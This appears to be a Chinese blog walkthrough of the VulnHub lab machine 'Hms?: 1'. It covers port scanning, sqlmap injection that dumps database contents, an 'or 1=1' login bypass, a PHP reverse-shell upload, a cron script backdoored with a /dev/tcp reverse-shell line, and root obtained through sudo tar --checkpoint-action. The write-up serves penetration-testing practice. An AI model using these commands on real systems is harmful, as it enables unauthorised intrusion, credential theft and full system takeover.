当前位置: 首页 > news >正文

Hms?: 1渗透测试

靶机:Hms?: 1 Hms?: 1 ~ VulnHub

攻击机:kail linux 2024

主机扫描阶段发现不了靶机,所以需要按DriftingBlues2一样手动配置网卡

1,将两台虚拟机网络连接都改为NAT模式,并查看靶机的MAC地址

2,攻击机上做主机扫描发现靶机

攻击机IP地址192.168.23.128,靶机IP地址192.168.23.144

3,扫描靶机端口服务

nmap -T4 -sC -sV -p- -A --min-rate=1000 192.168.23.144

-T<0-5>:时间模板,越大速度越快

-sV:探测开放的端口的系统/服务信息

-p:指定端口扫描范围

开启了如下服务

21/tcp   open  ftp     vsftpd 3.0.3

22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)

7080/tcp open  http    Apache httpd 2.4.48 ((Unix) OpenSSL/1.1.1k PHP/7.3.29 mod_perl/2.0.11 Perl/v5.32.1)

4,访问web页面192.168.23.144:7080

存在一个登录页面

5,检查HTML静态页面,可能存在SQL注入漏洞

使用sqlmap进行注入

sqlmap -o -u "http://192.168.23.144:7080/login.php" --batch -forms --level=3 --risk=3

上面输出说明[email]存在[万能密码登录]样式为[or 1=1],再爆破出数据库名

 sqlmap -u "http://192.168.23.144:7080/login.php" --data "user=admin&email=mayuri.infospace%40gmail.com&password=123&btn_login=" --dbs

使用数据库clinic_db爆出表名

sqlmap -u "http://192.168.23.144:7080/login.php" --data "user=admin&email=mayuri.infospace%40gmail.com&password=123&btn_login=" -D clinic_db --tables

最后爆出root用户的信息

sqlmap -u "http://192.168.23.144:7080/login.php" --data "user=admin&email=mayuri.infospace%40gmail.com&password=123&btn_login=" -D phpmyadmin --dump-all

root     | 2021-07-25 22:05:10 | {"Console\\/Mode":"collapse","NavigationWidth":0}

6,使用万能密码进行登录

登录前删除type=email标签,否则无法输入万能密码

7,查看网页源码发现文件上传地址

发现setting.php,右下角可对文件进行上传

8,在指定位置上传反弹shell的php文件

 

Cheat Sheets | pentestmonkey,下载需要的攻击语句

9,上传成功之后再访问文件所在的目录

192.168.23.144:7080/uploadImage/Logo/2.php

同时开启端口监听 nc -lvnp 1234

10,获得终端shell,并运行python命令获得可交互shell

python -c 'import pty;pty.spawn("/bin/bash")'

11,查看权限三件套,当前权限太低

12,提权的思路是,寻找可执行的二进制文件

find / -perm -4000 -type f 2>/dev/null

发现/usr/bin/bash可执行,可以切换到用户eren

/usr/bin/bash -p

13,用户无法查看可执行文件,查看一下定时任务 cat /etc/crontab

发现backup.sh每5分钟运行一次

利用定时任务来反弹shell,提取权限,将bash命令写入backup.sh

echo "bash -i >& /dev/tcp/192.168.23.128/1235 0>&1" >> /home/eren/backup.sh

与此同时靶机开启端口监听,nc -lvp 1235

定时任务执行之后,在攻击机上就获得了靶机的shell                                                                                                                       

14,提权操作,查看一下有没有sudo权限 sudo -l,

用户eren在主机nivek上通过sudo -l命令查看得到具有特定权限:可以使用sudo以root身份无密码(NOPASSWD)执行/bin/tar命令。这是一个比较有限的权限授予情况

提权原理:tar 命令通常用于压缩和解压缩文件。在某些情况下,tar 命令可以利用 --checkpoint-action 选项来执行系统命令,从而实现提权。

使用 tar 命令执行恶意脚本:利用 sudo 权限运行 tar 命令,并使用 --checkpoint-action 选项来执行恶意脚本。

sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

可以看到执行命令后提权成功,获得flag

成功得到flag

知识点: 利用tar命令提权

思路阐述:由于tar命令在一些情况下如果被不当使用可能会导致提权。例如,如果目标系统存在可被利用的文件包含漏洞或者配置不当的情况。如果能够利用tar命令在提取文件时覆盖关键系统文件(如/etc/passwd等),就有可能达到

主机扫描发现靶机——扫描靶机端口——靶机指定7080端口提供web服务——登录页面存在SQL注入漏洞,弱密码登录——上传反弹shell文件——进入php文件路径,从而获得shell——二进制文件切换用户eren——将发帖shell的bash脚本写入定时任务——定时任务更新,且靶机监听到反弹shell,成功获得终端——利用sudo命令+tar命令漏洞,成功提权成为root用户

http://www.lryc.cn/news/476683.html

相关文章:

  • 1、Qt6 Quick 简介
  • 大模型论文集-20241103
  • GESP4级考试语法知识(计数排序-桶排序)
  • 红队-shodan搜索引擎篇
  • SQL 数据结构查询
  • 《高频电子线路》—— 角度调制(调相、调频)
  • 危机来临前---- 力扣: 876
  • langchain调用chatgpt对文本进行编码
  • python manage.py
  • qt QDoubleSpinBox详解
  • RK3229 Android9自定义一个按键实现长按短按
  • A*算法求第k短路
  • CVPR’25截稿在即:今年的重大新规,你知道吗?
  • 一文详解销售管理系统的功能、作用、选型
  • MySQL上RDS MySQL
  • 单体架构的 IM 系统设计
  • kafka消费端常见故障及处理方法
  • 【linux 多进程并发】0302 Linux下多进程模型的网络服务器架构设计,实时响应多客户端请求
  • LTE及EPC技术原理(笔记)
  • 穿越数据迷宫
  • FBX福币交易所国际油价突然大涨!美伊针锋相对
  • Java项目管理与SSM框架介绍
  • WorkFlow源码剖析——Communicator之TCPServer(中)
  • 在做题中学习(73):删除字符串中所有相邻重复项
  • springboot 单元测试-各个模块举例
  • MS01SF1 精准测距UWB模组助力露天采矿中的人车定位安全和作业效率提升
  • Android亮屏Job的功耗优化方案
  • React05 样式控制 classnames工具优化类名控制
  • OJ-5G网络建设
  • Linux简介